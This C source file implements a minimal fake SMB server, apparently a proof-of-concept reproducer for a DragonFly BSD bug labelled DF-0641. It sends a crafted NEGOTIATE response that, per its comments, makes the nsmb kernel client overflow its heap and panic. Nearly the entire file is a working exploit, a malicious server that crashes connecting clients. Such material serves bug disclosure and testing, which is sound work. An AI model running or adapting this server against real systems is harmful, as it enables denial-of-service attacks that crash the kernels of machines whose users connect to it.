/*
 * fakesmb.c -- minimal fake SMB server for DF-0641.
 *
 * Implements just enough of NetBIOS-over-TCP (RFC1002) + SMB1 to get the
 * DragonFly nsmb kernel client past NEGOTIATE with security mode
 * SMB_SM_USER (0x01) and NO SMB_SM_ENCRYPT.  The client then calls
 * smb_smb_ssnsetup(), which overflows its own heap while BUILDING the
 * session-setup request (smb_smb.c:270 smb_strtouni) -- before this
 * server ever sees that request.  So we never need to answer SETUP.
 *
 * Run as root (binds port 139 < 1024) on 127.0.0.1.
 *
 *   cc -o fakesmb fakesmb.c && ./fakesmb
 */
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>

static int readn(int fd, void *buf, size_t n);
static void send_negotiate_response(int c);

int
main(void)
{
	int s, c;
	struct sockaddr_in sa;
	int one = 1;

	signal(SIGPIPE, SIG_IGN);

	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0) { perror("socket"); return 1; }
	setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));

	memset(&sa, 0, sizeof(sa));
	sa.sin_family = AF_INET;
	sa.sin_port = htons(139);
	sa.sin_addr.s_addr = inet_addr("127.0.0.1");

	if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
		perror("bind 139"); return 1;
	}
	if (listen(s, 1) < 0) { perror("listen"); return 1; }

	fprintf(stderr, "[fakesmb] listening on 127.0.0.1:139\n");

	for (;;) {
		unsigned char hdr[4];
		c = accept(s, NULL, NULL);
		if (c < 0) { perror("accept"); continue; }
		fprintf(stderr, "[fakesmb] client connected\n");

		/* 1. NetBIOS session request (type 0x81). Read its 4-byte
		 *    header + payload, then send positive response 0x82. */
		if (readn(c, hdr, 4) != 0) { close(c); continue; }
		unsigned len = (hdr[1] << 16) | (hdr[2] << 8) | hdr[3];
		fprintf(stderr, "[fakesmb] NB type=0x%02x len=%u\n", hdr[0], len);
		if (len) {
			unsigned char tmp[512];
			if (len > sizeof(tmp)) len = sizeof(tmp);
			readn(c, tmp, len);   /* discard called/calling names */
		}
		unsigned char posresp[4] = { 0x82, 0x00, 0x00, 0x00 };
		write(c, posresp, 4);
		fprintf(stderr, "[fakesmb] sent POSITIVE SESSION RESPONSE\n");

		/* 2. SMB NEGOTIATE request (type 0x00 NB message). Read its
		 *    NB header, then the SMB request (discard). */
		if (readn(c, hdr, 4) != 0) { close(c); continue; }
		unsigned smb_len = (hdr[1] << 16) | (hdr[2] << 8) | hdr[3];
		fprintf(stderr, "[fakesmb] NB message type=0x%02x smb_len=%u\n",
		    hdr[0], smb_len);
		if (smb_len) {
			unsigned char tmp[2048];
			if (smb_len > sizeof(tmp)) smb_len = sizeof(tmp);
			readn(c, tmp, smb_len);   /* discard negotiate request */
		}

		/* 3. Send NEGOTIATE response: success, dialect NT LM 0.12,
		 *    security mode USER (0x01) with NO encrypt bit. */
		send_negotiate_response(c);

		fprintf(stderr, "[fakesmb] sent NEGOTIATE response; client "
		    "should now overflow in ssnsetup and panic.\n");

		/* Hang around briefly; the client kernel will panic before
		 * sending SETUP, or will try and we ignore it. */
		sleep(3);
		close(c);
	}
	return 0;
}

static void
send_negotiate_response(int c)
{
	/* SMB1 header (32 bytes) + WordCount(17) + 17 words + ByteCount(0) */
	unsigned char pkt[128];
	int n = 0;
	/* --- SMB header --- */
	pkt[n++] = 0xff; pkt[n++] = 'S'; pkt[n++] = 'M'; pkt[n++] = 'B';
	pkt[n++] = 0x72;                 /* command = NEGOTIATE */
	pkt[n++] = 0x00;                 /* errclass = SUCCESS */
	pkt[n++] = 0x00;                 /* reserved */
	pkt[n++] = 0x00; pkt[n++] = 0x00;/* serror = 0 */
	pkt[n++] = 0x80;                 /* flags = reply */
	pkt[n++] = 0x00; pkt[n++] = 0x00;/* flags2 = 0 */
	pkt[n++] = 0x00; pkt[n++] = 0x00;/* pid_high */
	int k;
	for (k = 0; k < 8; k++) pkt[n++] = 0;  /* signature[0..7] */
	pkt[n++] = 0x00; pkt[n++] = 0x00;/* reserved */
	pkt[n++] = 0x00; pkt[n++] = 0x00;/* tid */
	pkt[n++] = 0x00; pkt[n++] = 0x00;/* pid */
	pkt[n++] = 0x00; pkt[n++] = 0x00;/* uid */
	pkt[n++] = 0x00; pkt[n++] = 0x00;/* mid */
	/* --- parameters --- */
	pkt[n++] = 17;                   /* WordCount */
	pkt[n++] = 7;  pkt[n++] = 0;     /* DialectIndex = 7 (NT LM 0.12) */
	pkt[n++] = 0x01;                 /* SecurityMode = USER, no ENCRYPT */
	pkt[n++] = 1;  pkt[n++] = 0;     /* MaxMpxCount */
	pkt[n++] = 1;  pkt[n++] = 0;     /* MaxNumberVcs */
	pkt[n++] = 0xff; pkt[n++] = 0xff; pkt[n++] = 0x00; pkt[n++] = 0x00; /* MaxBufferSize (0xffff) */
	pkt[n++] = 0;  pkt[n++] = 0;  pkt[n++] = 0;  pkt[n++] = 0; /* MaxRawSize */
	pkt[n++] = 0;  pkt[n++] = 0;  pkt[n++] = 0;  pkt[n++] = 0; /* SessionKey */
	pkt[n++] = 0;  pkt[n++] = 0;  pkt[n++] = 0;  pkt[n++] = 0; /* Capabilities */
	for (k = 0; k < 8; k++) pkt[n++] = 0;  /* SystemTime */
	pkt[n++] = 0;  pkt[n++] = 0;     /* ServerTimeZone */
	pkt[n++] = 0;                    /* ChallengeLength = 0 */
	pkt[n++] = 0;  pkt[n++] = 0;     /* ByteCount = 0 */

	/* NetBIOS session message header: type 0x00 + 3-byte BE length */
	unsigned char nb[4];
	nb[0] = 0x00;
	nb[1] = (n >> 16) & 0xff;
	nb[2] = (n >> 8) & 0xff;
	nb[3] = n & 0xff;
	write(c, nb, 4);
	write(c, pkt, n);
	fprintf(stderr, "[fakesmb] negotiate response: %d SMB bytes\n", n);
}

static int
readn(int fd, void *vbuf, size_t n)
{
	unsigned char *p = vbuf;
	size_t got = 0;
	while (got < n) {
		ssize_t r = read(fd, p + got, n - got);
		if (r <= 0) return -1;
		got += r;
	}
	return 0;
}
